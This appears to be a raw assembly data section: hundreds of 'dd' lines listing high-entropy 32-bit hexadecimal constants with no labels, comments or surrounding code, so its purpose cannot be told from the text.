dd 0FFA30EAEh, 988CB3E1h, 42EB14F1h, 7D109FF7h, 620BC913h
dd 2AB75F49h, 0A4FB0B00h, 546F8D4h, 6C45C03Fh, 1F90860h
dd 4504FC96h, 610A1229h, 4014441h, 0D5A903E5h, 0F70140E8h
dd 0CD8E1285h, 0BA20E67Fh, 7C0E58B1h, 3A34088Eh, 860F0381h
dd 17C80F75h, 0DB48D3C0h, 206056B6h, 0C65EB8B0h, 0F3F1644Eh
dd 403DDB30h, 0E125801Bh, 663704h, 0C12CECAFh, 380B1060h
dd 7892F649h, 0A01F72Fh, 34B841C9h, 75CE6D01h, 0A0FA1D44h
dd 9B0DC1D4h, 3E4BD851h, 331D8B04h, 85A1C985h, 0EBC1F75Bh
dd 6B2ED4E2h, 3E304013h, 0B446035h, 0C1B826BCh, 443885F4h
dd 8B63B390h, 0E25C498Dh, 0E2BBEDA7h, 0E1E6FDD6h, 0D2658B00h
dd 0AD14EA64h, 619B0411h, 0BB820F58h, 67C04CBDh, 99FA312Fh
dd 2C75A700h, 8E5C5918h, 0DA8A00B7h, 0A0DB6830h, 60797F6Eh
dd 0B866F702h, 0D461EECBh, 0A39F383Eh, 0D664E771h, 6BF37500h
dd 0A7538BC4h, 277D00DFh, 1C7CA2A8h, 675C5EBBh, 2DE11236h
dd 19A033B7h, 60001586h, 0FFC98064h, 4F74AEBBh, 555905E4h
dd 81C7C0B2h, 417A60DBh, 0E9FC6F05h, 0D3BD015Bh, 79DCA880h
dd 2B48255Dh, 3B4D342Ch, 16B887E9h, 37DFE100h, 0DEF79354h
dd 0C7AA3859h, 81807C4Ch, 49E572CBh, 0B5168E98h, 67931501h
dd 817B5A51h, 890BCACAh, 4913A190h, 78FFB560h, 2582930Dh
dd 57377065h, 79044662h, 6AC20030h, 227A79B3h, 0C40D1701h
dd 15BD2345h, 0BF5B3E74h, 0F9780BABh, 52794B90h, 0F0816000h
dd 72158410h, 595270Bh, 0B5FF20C8h, 0F269AA4h, 6860A78Bh
dd 17BCABDAh, 0E0FA8AF2h, 58172566h, 0DEDB0D62h, 960A9880h
dd 0E719F23Ah, 0F9AC5760h, 0A505043Ah, 95F7F82Bh, 3E9B5E00h
dd 203A4CC1h, 72136FA8h, 0BB6600D0h, 695A9792h, 5559F9E7h
dd 23676E9Ch, 6DF4001Dh, 25277018h, 462D7FEAh, 134E084h
dd 16113595h, 190304DDh, 85C70524h, 4CAD168Dh, 0F880E637h
dd 29376DADh, 53C961BDh, 0CEA99531h, 0A9A1E07Ch, 2A9AC626h
dd 0CF90441h, 1095A856h, 1E501959h, 0F4AB4EA3h, 1A9C6537h
dd 0BB9FF1A6h, 5121E949h, 209908BFh, 0C305004h, 984426C3h
dd 7AE8C101h, 0F0ED610h, 3C44CCFh, 0E78EA458h, 3636EB37h
dd 0E7641078h, 501B58B8h, 212829CDh, 34581803h, 27570113h
dd 3D57091Bh, 0D9590095h, 8FEB96DDh, 0B7F41E2Fh, 0F20A0062h
dd 51F4DD17h, 5D905597h, 21B95FF8h, 440E44Fh, 257AFAh
dd 1BFAF7Eh, 48FE5BFFh, 10B30641h, 7E686148h, 8D500C4Fh
dd 7E6E5B13h, 0FAD9DC00h, 64EC2771h, 0C920B190h, 0DB80171Bh
dd 58B22Fh, 2493B344h, 767BF53Dh, 0A86B4C48h, 2EA04922h
dd 0C78119D9h, 46F1B7Ah, 0DF81F8E0h, 4D57D504h, 81AE5038h
dd 603589E4h, 2E726172h, 97CC04EFh, 74F00D9h, 9B7AB819h
dd 77E43930h, 9361240Eh, 947DB472h, 46D30C76h, 9221C09Ah
dd 0DC99B6E3h, 56F92612h, 2D69CB04h, 49735F0Ah, 0E300A971h
dd 0D8E835CAh, 58E70EFh, 93635580h, 0F11A82D4h, 62BB5F78h
dd 390EBD70h, 108B9D70h, 0A0F0B426h, 86B1CC8Bh, 5CDE3BC4h
dd 658D07C0h, 39160EA4h, 0DF01FB8Bh, 157DA859h, 83C54B38h
dd 296C98C2h, 91CFF500h, 0E4979CF7h, 95CB504Bh, 891044D9h
dd 0FA205039h, 682B912Dh, 4AC7978Fh, 0F226F22h, 99574B30h
dd 7B7FB8F8h, 0B44800C2h, 58EC7BC9h, 375C2630h, 0B3E7009Fh
dd 757A12BBh, 515A7269h, 44D1008Fh, 0BF71625Fh, 3B28D324h
dd 0FA1C85C9h, 800EE0B3h, 0CB606CD7h, 0F50961Bh, 4BDB62B0h
dd 0E4C78B6Ah, 5DC0D49Bh, 628DB270h, 4489C729h, 3D129F26h
dd 1DEA21BBh, 0F9CB070Eh, 0C83197Fh, 97F32C2Ch, 9B5EECBDh
dd 0A45382EFh, 0B6D5C02Ch, 999653CCh, 0A59FE00h, 3AA6509Dh
dd 57E3E24Bh, 6167C00h, 287E6E96h, 61BA910Bh, 6FD9DE49h
dd 0E076F6D2h, 0BD910346h, 1093F666h, 7939BB85h, 13498F04h
dd 2AF7AFBh, 71852919h, 132B22Ah, 5BFEBFF7h, 4D65EA2Bh
dd 0D200546Bh, 0B8496207h, 0CAE2B60Ah, 0D48A6005h, 3CEC8B51h
dd 9EC15A89h, 204C209h, 1BD4C20Bh, 136902F6h, 58361564h
dd 91001ED9h, 423CC1B0h, 9CCD012Dh, 0A0394045h, 0C6DC843h
dd 0D9C67D12h, 0A8700230h, 9EFB0355h, 5FE2A2DEh, 1751B816h
dd 0F1E8F5ADh, 2A9F8D02h, 0F6694517h, 0A6E52254h, 706AC030h
dd 7F74FEC4h, 0C52E470Bh, 41B58F7Ch, 0C61BBA73h, 80B79E2Fh
dd 0BC791D54h, 33582E05h, 0F1BD0463h, 0E3FD901Ah, 897A5320h
dd 14267930h, 3B85C75Bh, 0A6DE1291h, 301DA219h, 0F2000339h
dd 970C1F36h, 90BE2A94h, 8C120FCh, 0EEED8881h, 0FFF35C21h
dd 2B37FFC6h, 9036DD00h, 240711E1h, 25ABAA3Bh, 0C1ECA05Ah
dd 0F6E0E0ADh, 19C66B85h, 548197AFh, 2AAC1479h, 1AE2D6h
dd 9F820977h, 0C2CC9h, 8E38EF12h, 24CBB0BBh, 21427566h
dd 505F3CFFh, 0C172D827h, 0B87BB18h, 4B9D2BA8h, 0EF2194DDh
dd 0B05E536Fh, 8D1401D9h, 125A310Dh, 10BD4F6Eh, 0DA62DE25h
dd 390B4D54h, 8B73A2B1h
dd 0EC1A77C2h, 17D4E854h, 0FBD98C17h, 0FBE3F204h, 0EF4B33FCh
dd 23C14CDBh, 6E6A31B7h, 3BC05BDBh, 0B59AFEF2h, 0FCD08A12h
dd 6E5BCCB3h, 657700D1h, 4B88BB06h, 9D311760h, 61754AE9h
dd 0A0351DF3h, 5FF61A95h, 2B013B37h, 1AE22958h, 0C360BA2Fh
dd 2E106BF7h, 125ED1FFh, 2A99A101h, 0BF6AF428h, 2960D8EFh
dd 1C01A1DBh, 25AD9D49h, 58AA4CF5h, 2804EE5h, 889ACB81h
dd 504B1A00h, 0E7FBBF56h, 0D42EED36h, 0E98E0E7Ah, 5D23E712h
dd 12E7B87Ch, 0E20E46E9h, 2A78C93Dh, 4CDE3975h, 915E95BAh
dd 69FE8AE1h, 4B73B8BDh, 0B75B814Bh, 6D342EC6h, 62A6EEEh
dd 0D912563h, 75A680F4h, 0B7908007h, 5F50B03Ah, 2B80ADDBh
dd 599BA930h, 5ADF4D31h, 992E10D9h, 32FB2EC7h, 7C4028E5h
dd 9E4B0345h, 9703BF99h, 0DAF61251h, 5BB2E25Fh, 0A01CD07Ah
dd 0EB030007h, 1E12F53Ah, 6184814Bh, 4D3C7ACh, 0F07DD2Eh
dd 5FA9B26Ah, 300E9B8h, 2FDED5A2h, 5C1F4CAEh, 0D05E9AC2h
dd 73F3BF71h, 116A5C24h, 712AB909h, 13F42EBh, 49B0FC02h
dd 60121B99h, 0E240335Eh, 0A5663Ah, 33227E28h, 0FEF11163h
dd 0EF441F24h, 53470900h, 4E66101h, 11B58970h, 78F7B930h
dd 2FED8D12h, 334EFE3h, 0FABE0979h, 0B398EA70h, 5B2C252Fh
dd 5E81403h, 3F5A5001h, 7B16A6B4h, 0D437FA80h, 582A9A5Bh
dd 0A94A109h, 0A82EA117h, 0FED29EEFh, 2C88F3E1h, 2B040FFDh
dd 1BFBFCC8h, 0A37E7A72h, 4059865Eh, 0BF10050Ch, 0EC2DD5AFh
dd 23BB905Dh, 31C132BDh, 43DC857Bh, 2DF118B1h, 4302B804h
dd 357216A6h, 0A464E00h, 645EB74h, 0FED19DE5h, 66972CFFh
dd 0DA750010h, 8E58AA11h, 0CF00E49Bh, 0DDC06716h, 2C13F8F7h
dd 92594FC5h, 1626F45Fh, 1B6446B4h, 0BE4BE904h, 0DDE4EC70h
dd 305A16B3h, 0D0F7ACEEh, 0DA53386h, 85CFEA60h, 21BAD0D2h
dd 142484EBh, 65BCC6EAh, 22A1A5FEh, 22FA2FFEh, 0D0DC8915h
dd 448F0F42h, 3D3097B1h, 8982D2DAh, 18BC408h, 8759051Fh
dd 0D4310C61h, 6A4B410Bh, 0C0BC5BFDh, 76B18B5Bh, 6396DFFAh
dd 500C7B95h, 53E9D71h, 7EF055B9h, 0AB05696Eh, 9E1DB69h
dd 4D78FEB5h, 0B0310DDDh, 2B011679h, 2ED2C9C0h, 5A02986Eh
dd 69892A11h, 64B2F2D4h, 7AD65CF9h, 0DCF3DCh, 23CAB93Bh
dd 0AFE47B01h, 8A0F0517h, 0F0CB0760h, 0E9BB04B6h, 0B62B7B09h
dd 0F095E018h, 2C5042Ch, 0BCB33035h, 38B69727h, 2F4EDDE0h
dd 0A02A9E13h, 6A94504h, 3FB424BCh, 41B392Dh, 80014622h
dd 0F8FD8684h, 0F4168D4Bh, 1597B1C3h, 0A59CB3F2h, 0B50907ECh
dd 59FD291Bh, 497F44D4h, 0E1C70252h, 0AB5B0509h, 1423EF6Ah
dd 23309413h, 121279DBh, 0E7ADE21Ah, 0C4F94AA5h, 0F00509A8h
dd 0E1FF9FB3h, 37E07AF6h, 6702A41Ch, 0C12B5DBFh, 53C15C40h
dd 0A92B4FACh, 95BCD0D5h, 27699394h, 0B4737526h, 9228570h
dd 0DF317A8h, 0C3448771h, 87E5F54Eh, 383DF20Bh, 0EE2FA295h
dd 1D3CBED3h, 1E0D109Dh, 2FC4F381h, 67B8650Fh, 7FB8485Dh
dd 1B09C490h, 7037B94Dh, 4C829D83h, 5D5CDDB8h, 311E2391h
dd 4A1351B5h, 9A9E5BC4h, 7CBF8BDFh, 8BD3402h, 0A5605909h
dd 0D01F3E64h, 0CC4351B4h, 0EF50484Eh, 9BF487F8h, 0D1A7D23Ah
dd 7B97FF58h, 0A1E6D074h, 1E39A602h, 578B2EFEh, 683D1364h
dd 1D9F9252h, 578083FCh, 7FAA9EAFh, 79D9FD01h, 0B3F3730h
dd 1291BFC8h, 0E05B6987h, 1D39AD28h, 0C1DB4A80h, 0EAABBA80h
dd 6F026351h, 66B78AF2h, 60B37E57h, 2C2D8D01h, 4150748Ah
dd 0F856DCCFh, 0B8F6A4BEh, 7049AA01h, 24F6438Eh, 0BDF2742Ah
dd 2DDCA977h, 192512DBh, 1252E3F9h, 0CAED9D33h, 1B0E90Bh
dd 4D20BC72h, 4CBA951Dh, 40C8ED5Fh, 0EAEF3437h, 0D50A8D28h
dd 7C19FD25h, 705AC778h, 0CFA161E2h, 7E590997h, 0F806F6D8h
dd 9BF2C6C4h, 361206Eh, 0B174E197h, 9D2B7D86h, 614B0DC5h
dd 0A2F98194h, 9A004DE8h, 0F1267722h, 0DC01D065h, 90AD07Ch
dd 71FAB70Fh, 0BCBF9DA9h, 89616E0Eh, 0A93DBBE0h, 0D49319B2h
dd 0C3C78100h, 97380BC5h, 6F4DA709h, 0BC7F63C0h, 741700D3h
dd 806756A6h, 4525BD03h, 0B94CDF10h, 6D89F600h, 38F79D9Bh
dd 0D62E00C6h, 0AF936CEEh, 0B212A13Ah, 4CA0AC54h, 32009550h
dd 95F57ECh, 0B6B2509Dh, 0BD1AAA02h, 0AA80AAB7h, 35682132h
dd 3E782F0Eh, 71A8D41h, 0AE8228B1h, 9F5250F0h, 0BE00D244h
dd 8895D7B4h, 0F23215h, 7FBB2B6Fh, 3A219484h, 0F312318h
dd 0D3068304h, 0C43EEC35h, 3D3585Ah, 78B1A1D7h, 0CC4A677Ch
dd 0E29529EAh, 0F44C55CAh, 5AD88B37h, 0FB465B86h, 8AED9430h
dd 5216DFB3h, 7FD61FEh, 66053CB8h, 53654FBBh, 47E32FFh
dd 7ECCADE0h, 0A18EFE09h, 0E9D0715Fh, 734010EDh, 4878490h
dd 7ABF66E2h, 0A3C3AC58h, 2B335036h, 0E9244021h, 0AF944670h
dd 0DE7906F4h, 0CA29C16Bh, 0E95D2B5Bh, 0D5E330D2h, 8A9A4BBEh
dd 0B04E059Fh, 934C7E4h, 0EAD8EF53h, 0E995018Eh, 8F21432Fh
dd 4A6C3CF4h, 8621D5CAh, 0D4037CA5h, 12BFB758h, 7D048A2Ch
dd 52141B45h, 4047D1C0h, 5F094A2Bh, 167AF828h, 83456B23h
dd 0E6968E37h, 4580D7B8h, 0D568C1E4h, 5BEC4C1Dh, 0F73ADD00h
dd 5EB5297Fh, 5F7E096Dh, 898B5651h, 0A53A7EBDh, 5E75F96Ah
dd 4625DEBCh, 0B591C6ECh, 2F2E7CC1h, 9AA60475h, 0DD8D0FE0h
dd 0D81FA205h, 6D83669Ch, 96D72E15h, 480E1138h, 0DEBF0250h
dd 6204645Ah, 9F9C7852h, 0F88AC1E0h, 0A4A6964Ah, 0FAE19EE3h
dd 39F84152h, 1FFA040Fh, 0FCFDE662h, 74716907h, 60022E68h
dd 0EB5F5E59h, 901EBB5h, 0B87B8586h, 5A80E6Fh, 76D04611h
dd 5C93CAB5h, 0D687EA55h, 1BB4821Ch, 4CF33292h, 27EAE84Eh
dd 0BC501618h, 0D817D4C0h, 330C0807h, 4A83AD85h, 0F312F6C2h
dd 0DDEBF85Ah, 855C4860h, 0D0235912h, 3FD3935Dh, 64C1444Bh
dd 312F6AB3h, 0F4F88B60h, 8088B886h, 863B60E7h, 1674E381h
dd 0EC2D9D25h, 5D8D4B12h, 0E2889317h, 0D59350DBh, 0DF2D2A5Eh
dd 7DA07A76h, 0C516BD02h, 72E86049h, 2BE12A80h, 237B63E5h
dd 4B368601h, 54117C2Dh, 40390320h, 8A12580Eh, 910261F4h
dd 0D9108B0Fh, 120511B1h, 0BBE888BFh, 65B96600h, 8B5061B6h
dd 0FF96D93Ch, 891DB724h, 0F1946DCh, 0E459B099h, 66BC148Ch
dd 71DB81C0h, 46426A19h, 0BA1252CEh, 7300257Ah, 6FEF9FF8h
dd 1B4F18CEh, 117548C1h, 26C9BF13h, 34489312h, 5B26FFBh
dd 8B3483BCh, 250F9229h, 0B36335C0h, 9D512380h, 0C6A6A5F0h
dd 0B5D1B06Dh, 0C507C764h, 43C04D20h, 3496F00h, 0DD7A0142h
dd 0E8ECFC79h, 0BCEA140Ah, 438D813Eh, 84415C7Fh, 5F021D55h
dd 1E9422C4h, 65A400F6h, 7E14CD15h, 1E4B1B76h, 0DF1E98BFh
dd 5E6A9497h, 0C0C39E79h, 6089D3CEh, 0CDE7F48h, 8E81A5Eh
dd 2900D623h, 67BFBE0h, 2409DD61h, 92C5BD9Dh, 435BF75Bh
dd 17ADF03Eh, 4742009Eh, 6C3EF27Bh, 61289531h, 0D92F7830h
dd 0DCFF68C6h, 0E2DB9808h, 2F61812Dh, 3B81212Eh, 0FC8D6BFAh
dd 51136DCFh, 0D312D57Ch, 8C822AFh, 0CD271B5Eh, 0B15EC360h
dd 0EDD5EBF8h, 8B1FE009h, 0C4FD4DC1h, 4B72F3C6h, 44E90F8Ch
dd 15025707h, 10054447h, 9382D7D7h, 0B6787A76h, 0C039ED9Dh
dd 78D38F56h, 809B81B5h, 0F4D6B8CFh, 200DE43h, 39CB53AFh
dd 9CD90C09h, 3DE90E20h, 0D1B3EF80h, 0DEC11C98h, 6235F71h
dd 172FCEE9h, 79C68823h
dd 9200F070h, 16A8DBAAh, 287AA0BAh, 0D2AD89B3h, 0B8F4B9EFh
dd 0BF9900D0h, 5A2E5D69h, 0F74AD780h, 41ADC0B4h, 99123018h
dd 5DEA6AB7h, 79E1746Dh, 0E13E7A6Bh, 0E68A2A8Fh, 0EBC7574Ch
dd 0E1AA0198h, 0E3E5C4ABh, 1E9A5106h, 9596C399h, 2F5F1369h
dd 0B4E60575h, 474C79A1h, 124350C9h, 5209D1FFh, 24D5BD0Bh
dd 0FEB85BB6h, 911F6FA2h, 0E7A48018h, 0B03321FFh, 386BB5FDh
dd 0C8A555B7h, 0E8C5028Eh, 25BE2D4Dh, 35F23Eh, 33B97275h
dd 16C4FDA0h, 0F9AC4235h, 8E502463h, 493F8560h, 9F860BB3h
dd 4E8090ADh, 3588EEFBh, 19CDE9A0h, 0BB403BB9h, 0FA42DCF6h
dd 0CE4E4BE9h, 5F7B1603h, 0D1E8F0A9h, 0DD5BF401h, 65B79F10h
dd 5BF42ECh, 50E6B38Fh, 0CD368160h, 810F0124h, 0C632CD7Fh
dd 0DCF7DCh, 0D1D316A3h, 5CC84554h, 0EEF56F25h, 0C273951Ch
dd 0AC9D1251h, 90142065h, 41118F0Fh, 29A63D9h, 7715870Dh
dd 744758F3h, 0D84554BFh, 0A18104BBh, 0B9902E41h, 0F3B692FAh
dd 8D9D0305h, 729DAA30h, 80E29B2Bh, 0F87EBE87h, 0BDB20240h
dd 8D3113B5h, 555A3243h, 0D43EBFF1h, 0E0C2F60Eh, 994507h
dd 0E24EC6D8h, 0F80A90D9h, 9CEB3397h, 1F1B04Ah, 8BC7BF0Fh
dd 0D0132EC8h, 0EA83CDECh, 0BFB590Dh, 0EF26CD90h, 846E4C3Fh
dd 20829081h, 0E42F91BAh, 30D93071h, 0EEE02797h, 0B0D82F08h
dd 4F2B1141h, 2B4895E3h, 96D37EEBh, 1611C8C1h, 0C82EE000h
dd 0CD644B7Fh, 0A0800EDh, 0F80EB566h, 39254770h, 10D8724Dh
dd 0C20D7D85h, 4129C82Bh, 8B002A15h, 5BCF8D1h, 44B11C4Ch
dd 21378508h, 877B3F07h, 0D189C083h, 53900319h, 20F80FDAh
dd 0BE066824h, 8E3E84D9h, 482EE12Ah, 0BF812FAFh, 3C97E7F3h
dd 657850B2h, 0B2D929h, 91205944h, 0E90032E2h, 8F38A6AEh
dd 9794905h, 860FED40h, 8564DCD6h, 0B32A8FC9h, 0A9A34EFDh
dd 0EDBD010Eh, 88FFB912h, 0C899228h, 0A51F0A66h, 0F5FE21A0h
dd 0CE82FEBAh, 88CA8413h, 119996B0h, 0B08E595h, 0CC73E2ECh
dd 613E720Fh, 8A7085CDh, 1D7DF9ECh, 0D2B42C51h, 9AA0FEDAh
dd 0AE0A97FBh, 0D20EFC75h, 87BDD19Ah, 0AA22FEACh, 3DEFC0D5h
dd 229B0B7Ah, 0B4063B9h, 897BCB7h, 411A829Bh, 9E97777h
dd 6AA62A2Ch, 0D3BB6601h, 2ABD8971h, 24AB0494h, 216EEE84h
dd 0C434FE0Eh, 0FAFC65C5h, 8E38E422h, 2C805FF1h, 980A1249h
dd 0B3BD0909h, 0BC735F0Ch, 8E01B569h, 0F680677Ch, 0CC5A5751h
dd 6F983573h, 242F4D24h, 5DFA2553h, 9C5670C2h, 28D31CFEh
dd 0AED049ACh, 234A5678h, 83D72760h, 5F4F0921h, 58E65787h
dd 6F25DA90h, 0B285C639h, 0B6EF25E5h, 0CD6987C5h, 2FDC179h
dd 62DB3A3Dh, 0E8423C81h, 54411010h, 1EA400B5h, 234C1263h
dd 6D04DEA3h, 0FD29DD2Ah, 89AE4885h, 0D2292B5Eh, 6F3F7B65h
dd 6B022437h, 0A7BF5B69h, 0B050FB7Bh, 0B2FA667Eh, 0FF2DA555h
dd 0C0A8EDE1h, 0AB8D4503h, 7B21B712h, 8A87C2E2h, 0B7750B04h
dd 0F9C6829Ah, 0A1706D40h, 0E18E0A4Bh, 78997322h, 0EE56AF80h
dd 3A5DECh, 0DD752E77h, 0ED07A31Ah, 0FDA90A02h, 5CD4D153h
dd 0A51751D9h, 45E9904Dh, 4F7B8EFh, 0B809ED34h, 9580824Ah
dd 5F250052h, 0CE3B6D60h, 0A761F001h, 1CA2230Dh, 7E02AC7Ch
dd 5C3B42CAh, 0EEB709FDh, 0BCA0DD70h, 0C6950D01h, 0B760793Bh
dd 0E0055BDh, 0BCA117Ah, 25989558h, 3E14C6BBh, 12BE1AC7h
dd 0E0E70CB5h, 59F8C04Fh, 0EABD5018h, 4117DAEFh, 28AB75DEh
dd 0CAB84AB0h, 0C45312D3h, 0C0D28191h, 8C97E68h, 0E11F03F0h
dd 8D1009E5h, 0D00E4474h, 0D9C7216h, 15786C8Eh, 0F9DF0380h
dd 1B0A5D3Fh, 3DECDDBFh, 6A805B13h, 0A88B36DEh, 0B7605780h
dd 7CD3B290h, 26AA5F01h, 617E824Eh, 98858BDDh, 0FB1E7ABFh
dd 0F5FA1632h, 683FF37h, 0AAF032F3h, 5A71E2A1h, 8D091207h
dd 0AD4584A9h, 8C1AACD9h, 9A00F597h, 0F559C27Ah, 2DB6894Ah
dd 0D4301BA2h, 0BA180277h, 139C53D2h, 2368FAA0h, 0EFBFFCE9h
dd 0A6BE60BAh, 7C04D448h, 0F967384Eh, 23676BAEh, 271E0416h
dd 0E582B033h, 458F1144h, 80F77813h, 730CBB7Ah, 39230302h
dd 0BF796F1h, 6159E690h, 29289A97h, 0A7F759FCh, 721E54E4h
dd 6681233Dh, 5BD98BDDh, 60D8302Eh, 3AD3FC8Ah, 6117D0B9h
dd 0F0DCA689h, 0CEDE555h, 0DFA4D4F0h, 0CC95F896h, 48042AAh
dd 1EA9BD0Bh, 0C128BC34h, 0E259D2Bh, 73509601h, 0BDAD1EF9h
dd 0CF358B40h, 0FF698D1h, 4C45E053h, 5AD0E272h, 0B4C060DBh
dd 2870F6BBh, 0B4F72048h, 261818Ch, 8EE85B81h, 0C5767EBh
dd 918B4E64h, 0EDFB9DC5h, 0AD60535Ch, 0C05149h, 0E7433527h
dd 0C8EEFA94h, 6E60BF05h, 24FE96E0h, 7E6FBh, 3886B28Bh
dd 10F56EEFh, 49A9D1EEh, 998D8012h, 0E4169B10h, 0BFC6022Ch
dd 264309F7h, 88CE6355h, 95EAD380h, 4D9FE5CEh, 0BB6440CAh
dd 8700C846h, 0A3A92866h, 2CB3901Ch, 204F502Bh, 5260175Bh
dd 0C0C0F85Bh, 0EB819061h, 2A2B1236h, 6D820467h, 0F82BAE16h
dd 5073BA81h, 498DD43Ch, 8F06F102h, 57FD8A61h, 1C91EB3Dh
dd 9DA96A82h, 46659A7Fh, 0E6E500F1h, 0A1FDD74Ch, 9E4BB293h
dd 3A27068Ah, 5DDA7053h, 3B604019h, 2423D78Ch, 0A5E1058Dh
dd 298E0271h, 771A48BDh, 6B7D86Ch, 7D9529D7h, 0BDD32Eh
dd 9D09C8B0h, 27E5972Dh, 0B0F761A5h, 0A9AD7D0Dh, 0B39897Fh
dd 44F79DDh, 0A7A014F7h, 4C061943h, 0D167DDF0h, 0E7D84ACEh
dd 0C5CF096Ch, 0ABD3731Fh, 0EE585853h, 387EFE01h, 640DB737h
dd 0AA0A352Eh, 119D8B60h, 0E016972Dh, 0F760A08Dh, 48C8FC75h
dd 9779BBEDh, 85287964h, 0BA00E20Bh, 54B883B3h, 4A165C69h
dd 106FB761h, 2189187Dh, 92FD3D7Dh, 0C922042Ah, 2E5D1931h
dd 0BF91742Eh, 572B5729h, 1566E92h, 0B8A180CCh, 0BE381732h
dd 0F423F592h, 6E01AC22h, 905287B4h, 0B53CB589h, 0BE86D39Dh
dd 0F907057Eh, 0C4C81D9Dh, 3A6BEECDh, 600F1A23h, 0EDB9E14Fh
dd 0E040517Ch, 258E2BFh, 0F525C081h, 0C3400C6Ah, 109504C2h
dd 0AA56B4h, 7A9895E7h, 0F98A677Bh, 2050DCC7h, 0EB125E59h
dd 8C1C21B5h, 0AC2EBC41h, 0B063803Ah, 0CE5EF25Fh, 0B555E01Eh
dd 904B91BBh, 0DDD2908h, 5AB891B7h, 74C025ACh, 0F145EF55h
dd 0BD6BCA1Eh, 0E8C0B41Dh, 92A4E9C8h, 63182786h, 0E099CD77h
dd 0C00ECD17h, 5B763A4Dh, 0A05F9C1h, 10DF8204h, 0B10B6920h
dd 9FEF004Fh, 46CF145Ch, 0F009A2D4h, 73B9CBD3h, 181759C2h
dd 9446098Fh, 4C7BF5CBh, 505CFBADh, 0B300B5DDh, 9D5AFEB2h
dd 1EC06EBFh, 0D3966CDCh, 1E21BEC6h, 0F205C323h, 0BA19007Dh
dd 72CA8E59h, 78F50128h, 2F945ACFh, 961C7004h, 0C07E4D97h
dd 0F11F91A7h, 96499C29h, 0DE5F7EA7h, 5EC1C200h, 0F7C603ADh
dd 0F9EB25BBh, 1765CE6h, 7902FD25h, 0FA62CBC2h, 0E25C6D77h
dd 18DFEC76h, 78E781FAh, 6D0D1645h, 2722C196h, 0B0CBF50h
dd 14654BC7h, 13C3122Fh, 0D38CBDD4h, 0AEA249B6h, 0DE204D5h
dd 308C75AFh, 1276D7A3h, 0FBFD4100h, 0C37D23A6h, 8058005Ch
dd 0E1F3CBBDh, 66488192h, 0FD371208h, 0DAD3A4BDh, 0E21E80FDh
dd 4B7C09C9h, 152BDAADh, 53DF8Bh, 0DB81E1E0h, 5127FD9h
dd 3044D4D0h, 252E8028h, 501295EFh, 0EF6906Eh, 5C301BB2h
dd 0D8F400E0h, 3103A6DBh, 584BF380h, 4DF607C5h, 2CF869E1h
dd 20B980F3h, 4476B1h, 40F781FAh, 5F1DC753h, 8D2B9E97h
dd 0E3A260B1h, 9C0397E4h
dd 0F2DCE937h, 4EA98CFFh, 5B00ADB8h, 561795F4h, 0B2226h
dd 77B527BBh, 0C18BF85Fh, 0B012D0F0h, 0BF36113h, 108AB84Ah
dd 5F2610E1h, 40609C2Bh, 0C4B5B861h, 2CED054Ch, 8DC84B8Fh
dd 0D8600C1h, 1579E43Dh, 8D009D69h, 0C3D42D73h, 7FBE5FA5h
dd 4F0525A0h, 0E473978Bh, 62181B51h, 0C1AC2B07h, 0B38E23E0h
dd 0B0697633h, 981E4Bh, 0DC8E93BDh, 8A30F667h, 7320CD4Eh
dd 0A0B303h, 0B9D8B27Dh, 2B8381F9h, 33F7CF26h, 0F941D12h
dd 0C550DBFFh, 0AC046814h, 0C5AB6FABh, 92B4F8C1h, 125B4CE1h
dd 319F3AC0h, 10279D4Ah, 680DD650h, 9592B9A9h, 4C57AA41h
dd 0F6BC57A9h, 89F77404h, 65A3820Fh, 5E1CF510h, 0B77C31E1h
dd 0E80FBD4Fh, 880F28F0h, 64189760h, 7412A0BFh, 4FF31B84h
dd 7457662h, 53D1FF01h, 63F36Bh, 0A3A2F948h, 1D2DA14Fh
dd 4363C3EAh, 2FC22879h, 3C5F49E9h, 864E8030h, 251881CCh
dd 50E5D594h, 0FC25591Ch, 2950F4BFh, 1F5B25F8h, 326ADE88h
dd 71C46002h, 8B754BD2h, 880CE988h, 3507627Bh, 8F2A6710h
dd 0B564B330h, 5614FB4h, 445C2E83h, 0BFF88AF6h, 1CDB9960h
dd 0BDE25E9h, 0B5923AE5h, 6FFF4612h, 4A9F121Ah, 0FA00B8B2h
dd 6A349469h, 3F09BF35h, 37101DB1h, 9CE8404h, 8DD4BEB5h
dd 6BD62AB9h, 5ACA0094h, 82DF06C1h, 0B2F99725h, 90DE8B81h
dd 0A5405152h, 985B1FAFh, 124A672h, 67FA3FE0h, 2BA0DF34h
dd 8B00D5F2h, 0B77ADC93h, 29B39056h, 90F8D478h, 2B0E45A9h
dd 40AED0C5h, 1BF181CAh, 3325A4B6h, 1C63EC61h, 12E19529h
dd 74A7FF1Fh, 0C255DE27h, 0A7685C13h, 0C3CAED5Fh, 0AAE4395Ch
dd 2C1E5A08h, 90C1F1Fh, 6305FF6Ah, 4147C3DBh, 0FB7ABFB4h
dd 5FECB425h, 781FEE6Ch, 3301F3B9h, 90B42E9Dh, 0C770E1B0h
dd 8EF4016Eh, 0F70E664h, 8B83688Ah, 4994DC8Bh, 0E4057178h
dd 0D98A5271h, 2A2E89AEh, 20ABFA52h, 87DB176Fh, 0B04DF09Fh
dd 0C05F4B5Ch, 0BD3816Ah, 114E2710h, 898509C2h, 0C15AC877h
dd 0D2829801h, 95BE0B1h, 1EB99D10h, 4CD4C8DAh, 68C82B8Ch
dd 9AD1E4FEh, 0A3E95A0Ah, 48F14BDDh, 0C7812F80h, 23E8AC3Ch
dd 0F5F8997h, 1311EB29h, 4B448621h, 2356D2F9h, 20BF5624h
dd 0EF30C1E2h, 0A281B600h, 3B28D89Bh, 90940095h, 0E086AA3Fh
dd 2D4CE95Bh, 19D5C4F1h, 2E0CDDEEh, 0AF183E22h, 11A56A57h
dd 151EFE12h, 69E3A094h, 422E71C4h, 5300EE58h, 0B7B18531h
dd 7B6AA6A6h, 7BBA65E3h, 0F2A86FA2h, 0CE5BBA7Ch, 0FE04DE20h
dd 6C9701B4h, 0B9D9462Ah, 561CA573h, 6607DE25h, 38B9486h
dd 0B7821ED7h, 31495EA9h, 72061CAh, 0DC8C5679h, 0D8913027h
dd 3612740h, 0E03ECB53h, 0C2AAE3AEh, 0A34E9D29h, 6140E102h
dd 7553C02Bh, 0CFD73990h, 0CD83E300h, 87022FA2h, 0B1D20080h
dd 0A8DA9290h, 0BE5038FFh, 2BE25BEAh, 8D09BFFCh, 7979C553h
dd 0BD31E15Bh, 2A5ECE29h, 8AF7FCC4h, 0ACADAD5Bh, 0B72316A9h
dd 0D2AFB9B8h, 7E8029DAh, 7BE97990h, 2EE4CC05h, 0E3F8F944h
